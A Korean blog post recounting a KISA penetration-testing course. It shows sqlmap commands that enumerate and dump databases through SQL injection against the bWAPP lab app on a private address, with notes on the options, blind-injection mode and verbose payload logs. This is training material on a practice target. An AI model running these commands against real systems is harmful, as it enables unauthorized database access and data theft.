SQL Injection/Cross Site Scripting Test
인젝션 공격으로 기업이 입을 수 있는 가장 큰 피해는 데이터베이스 서버의 테이블이 몽땅 날아가버리는 경우이다. 그러한 공격이 실제 쉽사리 일어날 수 있는가? '여기 *때'라는 앱 서비스 업체가 평범한 SQL 인젝션 공격으로 개인정보가 유출되었듯이, 일차적으로 로그온 인증이 된다면 2차 공격으로 DB의 어떤 데이터가 유출되었는지 날아갔는지는 해커의 마음에 달려있다.
이번이 모의해킹과 관련해서는 세 번째로 받은 교육인데, 전부 KISA(한국 인터넷 진흥원)측에서 주관하였다. 단지 이번 강사가 이 브런치라는 사이트로도 자신을 홍보하고 있는 작가라서 그런지 듣는 이가 무엇에 쉽게 집중할 수 있는지 잘 아는 스타일이었다. 그래서 이틀 동안 엑기스 같은 내용만 뽑아주더라. 예를 들면, 칼리 리눅스에서 sqlmap이라는 자동화 툴을 이용하여 아래 명령어를 내렸다고 치자.
sqlmap -u "http://192.168.203.129/bWAPP/sqli_13.php" --cookie="PHPSESSID=7b4109598434f8f3f37499a55f66ea5d; security_level=0" --data "movie=1&action=go" -p "movie" --dbs
* p 옵션은 data의 정보 중 특정 파라미터 지정(여기서는 movie 필드를 지정하여 시간 소요 줄임)
** cookie 정보는 인증된 사용자 정보가 필요할 때(로그인이 필요할 시)
그러면 비박스(모의해킹 침투 테스트 환경) 사이트의 위의 특정 쿠키로 접근하였을 때, 데이터베이스 서버의 'movie'라는 파라미터 값을 통해 드러날 수 있는 모든 SQL 인젝션 취약점을 뽑아준다. SQLmap(위의 sql취약점을 자동적으로 돌려주는 툴)은 위와 같이 세션 하나(파라미터)로만 돌리기 때문에 중간에 뻗지 않는 장점을 가진다.
sqlmap -u "http://192.168.203.129/bWAPP/sqli_13.php" --cookie="PHPSESSID=7b4109598434f8f3f37499a55f66ea5d; security_level=0" --data "movie=1&action=go" -D bwAPP --dump
* dump 옵션으로 bwAPP의 모든 취약점을 파일로 떠주고(dump) 크랙 하는 과정까지 확인할 수 있다.
sqlmap -u "http://192.168.203.129/bWAPP/sqli_13.php" --cookie="PHPSESSID=7b4109598434f8f3f37499a55f66ea5d; security_level=0" --data "movie=1&action=go" --dbs --technique B
* technique B -> Blind injection(한자 한자만 질의해서 취약점 확인하는 공격)만 확인.
* technique BEUST -> 모든 SQL 인젝션 종류의 취약점 자동으로 돌림.
여기서 강사가 한 가지 조언을 해줬다. 보통 취약점을 분석하기 위해 OWASP나 CWE에 등록된 기존의 웹 해킹 패턴 리스트를 보고 분석하는데 반해, 취약점에 대해 제대로 분석하고 싶을 때는 위와 같이 먼저 Sqlmap 자동화 툴로 드러난 SQL injection의 log들을 정리하기만 하면 된다는 것이었다. 왜냐하면 기존의 웹 해킹 패턴은 자동화 툴의 패턴 안에 다 있기 때문이다. 그러니깐,
1. 취약점 분석할 사이트를 자동화 툴로 스스로 돌림.
2. SQLmap을 통해 드러난 payload log를 보면 됨 -> option이 있음.
3. 그런 옵션으로 돌릴 경우 먼저 rm -rf /root/.sqlmap/output/192.168.203.129 (기존의 같은 로그 삭제해야 함.)
cf.)
sqlmap -u "http://192.168.203.129/bWAPP/sqli_13.php" --cookie="PHPSESSID=7b4109598434f8f3f37499a55f66ea5d; security_level=0" --data "movie=1&action=go" -p "movie" --dbs -v 3
* v(erbos) 1 ~ 5 (수치가 높을 수록 더 자세히 봄)
명령 결과
-> BENCHMARK(5000000,MD5(0x69685174) : DB의 처리속도 확인 가능.
Sqlmap tool을 사용하는데 참조할만할 사이트
1) 국내
https://brunch.co.kr/@leesmain/8
2) 해외
https://j3ssiejjj.blogspot.com/2017/11/advanced-sqlmap-metasploit-for-sql.html